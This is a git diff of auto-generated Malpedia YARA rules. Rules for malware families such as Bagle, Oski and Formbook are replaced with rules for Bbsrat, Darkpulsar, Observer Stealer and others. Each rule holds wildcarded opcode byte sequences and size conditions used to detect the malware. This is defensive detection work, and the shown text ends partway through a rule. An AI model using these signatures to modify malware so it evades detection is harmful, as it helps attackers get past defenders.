+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.heloag"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.heloag_auto.yar#L1-L169"
 		license_url = "N/A"
-		logic_hash = "191b784ad61e65e2f10fbf592eeed47046bf8d9317c3471370d1a12460ef9a14"
+		logic_hash = "d41534ff803a8c13a09a17ccbef4333268f3c2d9e67aea8ce8ca3bb7d4a205eb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133801,32 +140890,38 @@ rule MALPEDIA_Win_Bagle_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { b03d f3aa 5b 5f 5e c9 }
-		$sequence_1 = { c745f400000000 6a06 6a01 6a02 e8???????? 8bd8 ff7508 }
-		$sequence_2 = { e340 ac c1e010 83f901 740b }
-		$sequence_3 = { c9 c20c00 c1c206 8bc2 }
-		$sequence_4 = { f7d9 2bf9 b03d f3aa 5b 5f 5e }
-		$sequence_5 = { 68???????? e8???????? 0bc0 7426 6880000000 68???????? e8???????? }
-		$sequence_6 = { c20c00 c1c206 8bc2 243f 3c3e }
-		$sequence_7 = { 53 8b7508 8b7d0c 8b4d10 }
-		$sequence_8 = { 59 43 83fb12 7508 33db }
-		$sequence_9 = { e8???????? 58 c9 c20400 55 8bec 83c4f8 }
+		$sequence_0 = { 66ab aa 83c9ff 8bfe 33c0 }
+		$sequence_1 = { 8bf7 8bfa 8a15???????? c1e902 f3a5 8bc8 }
+		$sequence_2 = { 8d4dbc 51 ffd7 8b45c4 b919000000 }
+		$sequence_3 = { 8b0d???????? 51 e8???????? 6a14 e8???????? 8bf0 83c408 }
+		$sequence_4 = { f3a4 a2???????? a2???????? a3???????? }
+		$sequence_5 = { 7cc4 8b45fc 8b0d???????? 40 }
+		$sequence_6 = { 6a00 6a00 ffd0 33c9 a3???????? 85c0 0f95c1 }
+		$sequence_7 = { 8d8dacfdffff 68???????? 51 e8???????? 8b55b4 83c41c 66c745b80200 }
+		$sequence_8 = { 8b4e0c 3bcd 8b07 89442410 7464 }
+		$sequence_9 = { 894b0c 8a48ff fec1 8848ff eb3c 6a01 55 }
+		$sequence_10 = { 8b4108 50 e8???????? 6a01 }
+		$sequence_11 = { 85c0 7505 a1???????? 8b4c242c }
+		$sequence_12 = { 51 53 68???????? 8d4c2420 ff15???????? }
+		$sequence_13 = { 8a442413 6a00 8bce 8806 ff15???????? }
+		$sequence_14 = { 8b11 8bcf 52 6a00 50 ff15???????? }
+		$sequence_15 = { a1???????? 894304 8b5608 895308 8b4e0c 894b0c }
 
 	condition:
-		7 of them and filesize <245760
+		7 of them and filesize <401408
 }
-rule MALPEDIA_Win_Urausy_Auto : FILE
+rule MALPEDIA_Win_Bbsrat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "42f215cc-3fcb-5d25-8a29-1c5fcfaf0e92"
+		id = "1bf7f125-76bf-51d8-8714-b1f4351a2fc5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.urausy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.urausy_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bbsrat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bbsrat_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "4f1d0bce8598e73699b4a743f6a21ef45b27ed44d43ef0837b1c95c90d3c9c6b"
+		logic_hash = "d09c46b568c20e6cc1497fd9b00b10dfec3bd249a240c9cb1f2d27667bcf264d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133840,32 +140935,32 @@ rule MALPEDIA_Win_Urausy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 68???????? 68???????? ff7508 e8???????? 6a00 ff35???????? }
-		$sequence_1 = { 8bd3 81c2a5000000 50 53 52 51 }
-		$sequence_2 = { ff75e4 e8???????? 8945e8 ff35???????? }
-		$sequence_3 = { 6a01 ff35???????? e8???????? 6a00 68???????? 68???????? }
-		$sequence_4 = { c21000 55 8bec 81c4ecefffff }
-		$sequence_5 = { 0f8585000000 6814000000 68???????? 6a04 8d8500fcffff 50 e8???????? }
-		$sequence_6 = { 8d85dcf7ffff 50 57 56 }
-		$sequence_7 = { 833d????????00 0f8fae050000 c705????????01000000 ff35???????? 8f45f0 ff35???????? 8f45f4 }
-		$sequence_8 = { e8???????? ff75fc e8???????? 8b45f8 c9 c20400 ff25???????? }
-		$sequence_9 = { e8???????? b800000000 c9 c21400 }
+		$sequence_0 = { e8???????? 8b7c2410 81c610020000 d1eb 45 85db 75b5 }
+		$sequence_1 = { 83c8ff 898e44020000 899648020000 57 894308 894304 8903 }
+		$sequence_2 = { 03c0 03c0 50 898374010000 e8???????? 8b8b74010000 83c404 }
+		$sequence_3 = { 8be5 5d c20c00 51 e8???????? 5e 5b }
+		$sequence_4 = { ffd7 895e24 8b461c 3bc3 741a 53 50 }
+		$sequence_5 = { eb21 83f805 7529 8d8c243c010000 51 8d842448030000 e8???????? }
+		$sequence_6 = { ff15???????? 8bf8 6a10 56 6861001100 }
+		$sequence_7 = { 52 8d6e18 55 8d7e0c 57 894608 e8???????? }
+		$sequence_8 = { ffd7 a3???????? 85c0 7412 8d4c2408 51 }
+		$sequence_9 = { 6a00 52 8bd8 56 895c2428 ff15???????? 8b4f0c }
 
 	condition:
-		7 of them and filesize <98304
+		7 of them and filesize <434176
 }
-rule MALPEDIA_Win_Oski_Auto : FILE
+rule MALPEDIA_Win_Cotx_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e23300f3-24c2-58db-ad53-9ccc894ba178"
+		id = "4cbfd2a1-cbfc-5404-9f22-8e027db9306c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oski"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.oski_auto.yar#L1-L187"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cotx"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cotx_auto.yar#L1-L111"
 		license_url = "N/A"
-		logic_hash = "32e88579dcf8b669972c260572f27190a2af2a9bf4eb835092b7f8cb9a6a6e17"
+		logic_hash = "5f62f869de8e5b67f4dbb19d8460c8365da1f60d9f53861111556d3c0f9ba6d4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133879,39 +140974,32 @@ rule MALPEDIA_Win_Oski_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 a1???????? 50 8d8df0feffff 51 e8???????? }
-		$sequence_1 = { 25ff7f0000 c3 8bff 55 8bec 83ec14 ff7510 }
-		$sequence_2 = { e8???????? 83c40c e8???????? 50 a1???????? 50 }
-		$sequence_3 = { 8975f0 e8???????? cc 8bff 55 8bec 8b550c }
-		$sequence_4 = { 7408 39b5acfeffff 7787 6803010000 8d95edfeffff 56 }
-		$sequence_5 = { 83431810 66898568fbffff 8b4314 85c0 7577 8b8d84fbffff 51 }
-		$sequence_6 = { 6a00 6a1a 6a00 8985eceeffff 898df0eeffff }
-		$sequence_7 = { 53 68???????? 8d8de4feffff 51 53 }
-		$sequence_8 = { e8???????? 83c404 56 8d85ecfeffff 50 8d8dd0fcffff }
-		$sequence_9 = { f3c3 e9???????? 8bff 55 8bec 83ec1c a1???????? }
-		$sequence_10 = { e8???????? 83c404 8b0d???????? 51 ff15???????? a3???????? 833d????????00 }
-		$sequence_11 = { 8b5508 52 a1???????? 50 8d8de8fdffff }
-		$sequence_12 = { 83c404 8b55f8 8955f4 8b45f4 50 e8???????? }
-		$sequence_13 = { 50 8d4df8 51 6800020000 8b55f4 52 ff15???????? }
-		$sequence_14 = { 6a00 e8???????? 83c40c 8985e4fdffff }
-		$sequence_15 = { 8d55f4 52 6a00 68???????? ff15???????? 8945f0 }
-		$sequence_16 = { 83c220 52 6a00 6a00 ff15???????? }
+		$sequence_0 = { c705????????890e9944 c705????????dbd99823 c705????????d468bcb5 c705????????a1a14538 c705????????2086e659 }
+		$sequence_1 = { 740e 3d10b6afa6 7407 3d36ce164d }
+		$sequence_2 = { 6800f00000 81c600f00000 68???????? 56 e8???????? }
+		$sequence_3 = { 50 51 8d85bcebffff 50 56 }
+		$sequence_4 = { c705????????d468bcb5 c705????????a1a14538 c705????????2086e659 c705????????eec45abf }
+		$sequence_5 = { c705????????9cb95b4c c705????????2d494a94 c705????????8db133d4 c705????????8e220b1d }
+		$sequence_6 = { 6800040000 8d8598f6ffff 6a00 50 e8???????? 83c40c 8d8598feffff }
+		$sequence_7 = { 8d850af8ffff c78500f8ffff52617354 6a00 50 }
+		$sequence_8 = { f3a4 50 0f1185a8faffff e8???????? }
+		$sequence_9 = { 8bce a3???????? e8???????? 8b15???????? 8b4dfc }
 
 	condition:
-		7 of them and filesize <423936
+		7 of them and filesize <1171456
 }
-rule MALPEDIA_Win_Karagany_Auto : FILE
+rule MALPEDIA_Win_Cloud_Duke_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "edc2e98f-b8d5-5230-8689-3d1d2cb2218e"
+		id = "cde391f0-175a-570d-9bc3-d49da6ef8745"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.karagany"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.karagany_auto.yar#L1-L110"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloud_duke"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cloud_duke_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "52de418a32cc53d0482440cda283dab56320888d4a5fd4c0281ba321f99401f6"
+		logic_hash = "74b144312fec28eba9f5a0427613a86e81c08ef3fe8c6af23e7d4ebef780ba1f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133925,34 +141013,34 @@ rule MALPEDIA_Win_Karagany_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d85a4fdffff 50 ffd6 68???????? }
-		$sequence_1 = { 894ddc 894de4 894df0 894df8 894dfc }
-		$sequence_2 = { 57 8bf8 6a03 57 ffd6 }
-		$sequence_3 = { 57 8bf8 6a03 57 }
-		$sequence_4 = { 6800300000 6800000300 6a00 ff15???????? }
-		$sequence_5 = { 8bf8 6a03 57 ffd6 85c0 }
-		$sequence_6 = { 8b35???????? 57 8bf8 6a03 }
-		$sequence_7 = { 6a40 6800300000 6800000300 6a00 ff15???????? }
-		$sequence_8 = { 6a03 53 ffd6 85c0 }
-		$sequence_9 = { 57 8bf8 6a03 57 ffd6 85c0 }
+		$sequence_0 = { 8d4c2448 e8???????? 50 8d8c240c010000 e8???????? 8d4c2448 e8???????? }
+		$sequence_1 = { 8d8c240c010000 e8???????? 8d4c2460 e8???????? }
+		$sequence_2 = { 83fe04 7ce3 8b45e8 4b 8ad4 }
+		$sequence_3 = { 8d8c24d8000000 e8???????? 51 8d442434 }
+		$sequence_4 = { 50 e8???????? 8b7c2440 46 3bf7 }
+		$sequence_5 = { eb0a 8b9dd8fbffff eb02 8bde 8b85e8fbffff 8d95e4fbffff 52 }
+		$sequence_6 = { 85c9 7438 83fa01 7533 83bedc00000008 8d86c8000000 7202 }
+		$sequence_7 = { 8d04450c000000 50 6a00 57 }
+		$sequence_8 = { eb02 8bce 8b5518 ff75fc 03d2 895510 }
+		$sequence_9 = { 6806020000 50 668984241c010000 8d84241e010000 50 c744245c00000000 e8???????? }
 
 	condition:
-		7 of them and filesize <180224
+		7 of them and filesize <368640
 }
-rule MALPEDIA_Win_Xiaoba_Auto : FILE
+rule MALPEDIA_Win_Darkpulsar_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9683766b-1f7a-5c2a-bffb-7de9b80367d1"
+		id = "b29c7cf0-59bf-59a4-b8c5-d1ee53d551a4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xiaoba"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xiaoba_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkpulsar"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkpulsar_auto.yar#L1-L401"
 		license_url = "N/A"
-		logic_hash = "52112f4a96abd368fbd89cb5e047b8d530704099fd198766e1597b7a0bbb2ccf"
+		logic_hash = "07b3040533891d5ece5d93ef76c617792a76fc1b169e5d22dab675082baad80b"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -133964,32 +141052,66 @@ rule MALPEDIA_Win_Xiaoba_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 58 8945ec e9???????? 8b5dfc 83c320 895dd0 6801030080 }
-		$sequence_1 = { b801000000 c20c00 8b9024010000 8b44240c 8910 b801000000 c20c00 }
-		$sequence_2 = { 8b5c243c 8b7c2464 8b542428 8b442430 03c3 42 89442430 }
-		$sequence_3 = { dc442410 dd5c2410 e9???????? db8740010000 dc6c2418 dd5c2418 e9???????? }
-		$sequence_4 = { 8b8894010000 33d2 85c9 0f95c2 8bc2 c20800 8b90b4010000 }
-		$sequence_5 = { 8d54b500 8b3c02 8d44f500 83c704 57 50 e8???????? }
-		$sequence_6 = { 85c9 7519 8b54240c 33c9 890a 8b8820010000 894a04 }
-		$sequence_7 = { 85c0 be???????? 7505 be???????? e8???????? 8b4008 56 }
-		$sequence_8 = { 8b10 52 e8???????? 83c404 8b4c2474 8901 8d4c2414 }
-		$sequence_9 = { 8903 8965e8 6800000000 6800000000 6800000000 ff75f0 6800000000 }
+		$sequence_0 = { ff25???????? 33c0 40 c20c00 68???????? 64ff3500000000 }
+		$sequence_1 = { c20c00 68???????? 64ff3500000000 8b442410 896c2410 8d6c2410 2be0 }
+		$sequence_2 = { c21000 ff25???????? ff25???????? ff25???????? 33c0 }
+		$sequence_3 = { 3a01 1bc0 83e0fe 40 5f }
+		$sequence_4 = { 803f00 742e 47 ff450c 0fbe07 }
+		$sequence_5 = { 56 8b35???????? 57 8b7d08 eb09 }
+		$sequence_6 = { 59 59 3bd8 74e0 0fb607 }
+		$sequence_7 = { 50 ffd6 8bd8 8b450c 0fbe00 50 ffd6 }
+		$sequence_8 = { 56 e8???????? ff742414 50 e8???????? 83c410 }
+		$sequence_9 = { 6a01 50 ff15???????? 8bf0 59 }
+		$sequence_10 = { 83c410 83f8ff 0f95c1 49 8bc1 }
+		$sequence_11 = { 53 33d2 56 57 33c0 }
+		$sequence_12 = { ffd7 59 5f 5e c3 8b4c2404 85c9 }
+		$sequence_13 = { 8d45cc 50 57 e8???????? 83c410 85c0 }
+		$sequence_14 = { ffd6 59 59 8945f8 }
+		$sequence_15 = { f7d8 59 1bc0 59 40 c3 e9???????? }
+		$sequence_16 = { 8b5d10 56 8b7508 33d2 }
+		$sequence_17 = { e8???????? ff7514 89460c e8???????? }
+		$sequence_18 = { ff15???????? 8bf8 59 59 85ff 7502 }
+		$sequence_19 = { 8bc1 c3 8b442404 85c0 7501 c3 }
+		$sequence_20 = { 33c0 33d2 c3 8bff 55 8bec b863736de0 }
+		$sequence_21 = { e8???????? 59 5e 83f8ff }
+		$sequence_22 = { 59 5e 8b45fc c9 c3 }
+		$sequence_23 = { 56 e8???????? 59 85c0 7625 }
+		$sequence_24 = { e8???????? 8bf0 46 56 ff15???????? 59 }
+		$sequence_25 = { 40 894588 83659800 85c0 }
+		$sequence_26 = { 8903 894304 5f 8bc6 }
+		$sequence_27 = { ff75f0 56 57 ff15???????? 83c40c }
+		$sequence_28 = { 00db 7313 752f 3b742404 0f830b010000 }
+		$sequence_29 = { 8945cc 8945d0 8b4608 6a05 50 885dec }
+		$sequence_30 = { 66894df5 c745f702000000 e8???????? 83c408 }
+		$sequence_31 = { 0fb606 50 ff15???????? 83c41c 85c0 }
+		$sequence_32 = { 48 4e 897c2414 75eb 5f 8d4240 }
+		$sequence_33 = { 668903 8b45e8 8930 33c0 ebdc ff742408 ff15???????? }
+		$sequence_34 = { 00db 7309 75f4 8a1e 46 10db }
+		$sequence_35 = { 00db 7313 75e1 3b742404 0f8318010000 }
+		$sequence_36 = { 51 51 8b4508 8b4d0c 894dfc }
+		$sequence_37 = { 0facf908 c1ef08 48 4e }
+		$sequence_38 = { 8945e0 8945e4 8945d4 8945d8 8b450c 897de8 897ddc }
+		$sequence_39 = { 8d8df9feffff 53 51 899d5ceeffff 899d60eeffff }
+		$sequence_40 = { 8b4d08 8d7d0c 31c0 f3aa }
+		$sequence_41 = { ffd3 ff7594 ff15???????? 83c414 837d9c00 741c 837d0c07 }
+		$sequence_42 = { 33d7 c1ea10 5f 33d1 }
+		$sequence_43 = { 8bec 8b4508 894508 d94508 5d }
 
 	condition:
-		7 of them and filesize <5177344
+		7 of them and filesize <491520
 }
-rule MALPEDIA_Win_Formbook_Auto : FILE
+rule MALPEDIA_Win_Sodamaster_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5884ccaf-7c22-509b-b936-d78ce47dc38a"
+		id = "5c8830e9-776d-5d52-b260-bf93f938f131"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.formbook_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sodamaster"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sodamaster_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "1856083163db4d487acf8602c72ba34a2aeebb6a0e8b028efa10c5ca24fd0c49"
+		logic_hash = "a33360882a3ef608d87207bac124912433c6a8960ab3afceadfd4533af00bd98"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134003,32 +141125,32 @@ rule MALPEDIA_Win_Formbook_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 5b 5f 5e 8be5 5d c3 8d0476 }
-		$sequence_1 = { 6a0d 8d8500fcffff 50 56 e8???????? 8d8d00fcffff 51 }
-		$sequence_2 = { 56 e8???????? 8d4df4 51 56 e8???????? 8d55e4 }
-		$sequence_3 = { c3 3c04 752b 8b7518 8b0e 8b5510 8b7d14 }
-		$sequence_4 = { 56 e8???????? 83c418 395df8 0f85a0000000 8b7d18 395f10 }
-		$sequence_5 = { c745fc01000000 e8???????? 6a14 8d4dec 51 50 }
-		$sequence_6 = { e8???????? 83c428 8906 85c0 75a8 5f 33c0 }
-		$sequence_7 = { 56 e8???????? 6a03 ba5c000000 57 56 66891446 }
-		$sequence_8 = { 3b75d0 72c0 8d55f8 52 e8???????? }
-		$sequence_9 = { 8d8df6f7ffff 51 c745fc00000000 668985f4f7ffff e8???????? 8b7508 }
+		$sequence_0 = { e8???????? c70009000000 e8???????? ebd2 8bc3 c1f805 8d3c85a0330110 }
+		$sequence_1 = { 8908 894804 8bf0 eb02 33f6 6a40 6800100000 }
+		$sequence_2 = { 8d4900 8d97feefff7f 85d2 7419 8a140e 84d2 7412 }
+		$sequence_3 = { 8945e4 3d01010000 7d0d 8a4c181c 888810080110 40 }
+		$sequence_4 = { 33f6 6a40 6800100000 8d4301 50 6a00 ff15???????? }
+		$sequence_5 = { 83c424 83ffff 5f 5e 5b }
+		$sequence_6 = { 83c8ff e9???????? 8bc6 c1f805 8bfe 53 8d1c85a0330110 }
+		$sequence_7 = { 33f6 8d45f8 50 8b4508 c745e8636d643d c645ec00 }
+		$sequence_8 = { e8???????? 56 e8???????? 83c418 ff15???????? }
+		$sequence_9 = { 6a02 53 68ff010f00 52 }
 
 	condition:
-		7 of them and filesize <371712
+		7 of them and filesize <134144
 }
-rule MALPEDIA_Elf_Bashlite_Auto : FILE
+rule MALPEDIA_Win_Brambul_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ca6414ba-2b9c-5f1f-bb06-5810c9d01c02"
+		id = "fb37501d-8a53-5cc7-864b-a2eff1ebf028"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/elf.bashlite_auto.yar#L1-L113"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.brambul_auto.yar#L1-L167"
 		license_url = "N/A"
-		logic_hash = "38a010b68cee7bf4f221088e2245d1e5d0f927b085c409c35c3789c20373d434"
+		logic_hash = "b2fcad7678e1145848466f51e53045ab3d4628142b8e9b03697218392aef0c7d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134042,32 +141164,38 @@ rule MALPEDIA_Elf_Bashlite_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb19 e8???????? c70016000000 e8???????? c70016000000 }
-		$sequence_1 = { 21d0 3345fc c9 c3 55 }
-		$sequence_2 = { 750c e8???????? 8b00 83f873 }
-		$sequence_3 = { 8b85ecefffff c9 c3 55 }
-		$sequence_4 = { 760f e8???????? c7001c000000 31c0 }
-		$sequence_5 = { 31c0 eb19 e8???????? c70016000000 }
-		$sequence_6 = { e8???????? 89c2 89d0 c1e81f 01d0 d1f8 }
-		$sequence_7 = { 85c0 750c c785ecefffff01000000 eb0a c785ecefffff00000000 }
-		$sequence_8 = { 85c0 750c c785ecefffff01000000 eb0a c785ecefffff00000000 8b85ecefffff }
-		$sequence_9 = { c785ecefffff01000000 eb0a c785ecefffff00000000 8b85ecefffff c9 c3 }
+		$sequence_0 = { 66390a 750c 663908 8dbc5dc4000000 }
+		$sequence_1 = { d3e0 48 234508 8d0440 }
+		$sequence_2 = { 83f801 7269 6a08 6a40 ff15???????? 8b542414 }
+		$sequence_3 = { 8bd9 33ee c1eb14 c1e10c }
+		$sequence_4 = { c1e311 0bf3 8b5824 03f2 23ee 33e9 }
+		$sequence_5 = { 6800400000 6a00 ff15???????? 50 ff15???????? 8bd8 }
+		$sequence_6 = { 6a05 89b5b049ffff 58 8985a849ffff }
+		$sequence_7 = { 25ffff0000 3bf8 7cc9 8bc6 5f 5e 5d }
+		$sequence_8 = { 8d54242c c1e902 f3a5 8bc8 8d442470 }
+		$sequence_9 = { 68???????? ff15???????? 83c408 b804000000 5f 5e 5d }
+		$sequence_10 = { 8b8c2480010000 89942418010000 8984241c010000 8d942418010000 51 8d84245c010000 }
+		$sequence_11 = { 8d45e8 50 8bf3 8d85be49ffff 83e31f 83a5b85dffff00 }
+		$sequence_12 = { 89b404bc000000 83c004 83f840 7cd0 b910000000 }
+		$sequence_13 = { 8d7c2420 f3ab 8d442424 50 56 53 }
+		$sequence_14 = { 50 e8???????? 83f8ff 7517 8d4c2410 }
+		$sequence_15 = { c3 8b442404 c74050f0864000 c7401401000000 }
 
 	condition:
-		7 of them and filesize <2310144
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Unidentified_099_Auto : FILE
+rule MALPEDIA_Win_Observer_Stealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "855e4e32-6d4e-59ad-a575-6df1a0196662"
+		id = "536559c4-9574-5591-915f-4694149d7210"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_099"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_099_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.observer_stealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.observer_stealer_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "258a0ad9f77598150260878a992142883eda125a250cf06189b6139c76537e6e"
+		logic_hash = "7a05fc963c0665c59a8fed1a8fc722896fb246e3248a23ceef5fd4c8486da3c7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134081,34 +141209,34 @@ rule MALPEDIA_Win_Unidentified_099_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4d8bc4 418bd6 498bcf e8???????? 4c8d8df0010000 458bc6 498bd7 }
-		$sequence_1 = { 488d4808 e8???????? 488d057dec0000 488903 488bc3 }
-		$sequence_2 = { 488d0deb1effff 48c1e602 0fb784b910600100 488d9100570100 488d8d24030000 4c8bc6 4803cb }
-		$sequence_3 = { 0fb6842930ef0100 4883c103 8802 488d5201 4881f959010000 7ce5 4533c9 }
-		$sequence_4 = { 443820 75e4 8bca ffc2 4803c9 }
-		$sequence_5 = { 488bd6 488be8 4d8d4715 488d442468 488bcd 4889442420 e8???????? }
-		$sequence_6 = { 85c0 7424 8b15???????? 33c0 85d2 7418 }
-		$sequence_7 = { 488d5b01 4883ef01 75d8 33c0 488dbdf0010000 }
-		$sequence_8 = { ba02000000 660f1f440000 488d8980000000 0f1000 0f104810 }
-		$sequence_9 = { c7442470fedcba98 c744247476543210 660f1f440000 49ffc0 42803c0000 75f6 488d55d0 }
+		$sequence_0 = { c1ea03 0fb60c02 8bc6 83e007 0fabc1 8b442414 }
+		$sequence_1 = { 8b5c2418 f6c301 746c 8b3e 85ff 7466 8b5e04 }
+		$sequence_2 = { 50 ff15???????? 8b4c2460 8d442440 50 e8???????? 8d4c2440 }
+		$sequence_3 = { e8???????? 68???????? 8d8d54ffffff e8???????? 68???????? 8d8d6cffffff }
+		$sequence_4 = { 59 eb3b 55 8b6b04 2bee c1fd02 56 }
+		$sequence_5 = { 85f6 740b 83feff 0f859a000000 eb6c 8b1c8d287e4300 }
+		$sequence_6 = { 8d8d60ffffff e8???????? 59 83781408 7202 8b00 }
+		$sequence_7 = { 8b442420 8918 5f 5e 5d 5b 83c40c }
+		$sequence_8 = { 85d2 7912 f7da e8???????? 6a2d 8d48fe 58 }
+		$sequence_9 = { 8d7c2468 894c2464 885c2450 ab ab ab ab }
 
 	condition:
-		7 of them and filesize <314368
+		7 of them and filesize <614400
 }
-rule MALPEDIA_Win_Unidentified_103_Auto : FILE
+rule MALPEDIA_Win_Qtbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "16a9604f-a791-56b5-96cf-005a08b625a2"
+		id = "ec8aa97a-290d-593c-aa5f-6c160f3c38cf"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_103"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_103_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qtbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.qtbot_auto.yar#L1-L168"
 		license_url = "N/A"
-		logic_hash = "ea0101ff935636b4e103b28ee875e3c3a8b80a54f2863e597f7dff9a335e50db"
-		score = 75
-		quality = 75
+		logic_hash = "2c7689c956559567f13a9ec6cae95c5c067935d56f8491bff1983eb40f5f2838"
+		score = 60
+		quality = 25
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -134120,32 +141248,38 @@ rule MALPEDIA_Win_Unidentified_103_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85db 0f8506030000 8b442470 ffd0 8b542478 81c41c070000 }
-		$sequence_1 = { 8954240c 8b9424e4000000 89742404 83ea04 89542408 8b8404cc0b0000 8b00 }
-		$sequence_2 = { 83ec08 85c0 7439 8b8424bc010000 890424 8b44246c ffd0 }
-		$sequence_3 = { 0fb613 89c3 8d6c11e0 01d1 }
-		$sequence_4 = { 890424 8b842488000000 ffd0 83ec08 8b842484010000 890424 8b8424a4000000 }
-		$sequence_5 = { 31db ffd6 c684249803000000 898424bc000000 b878650000 6689842496030000 b865000000 }
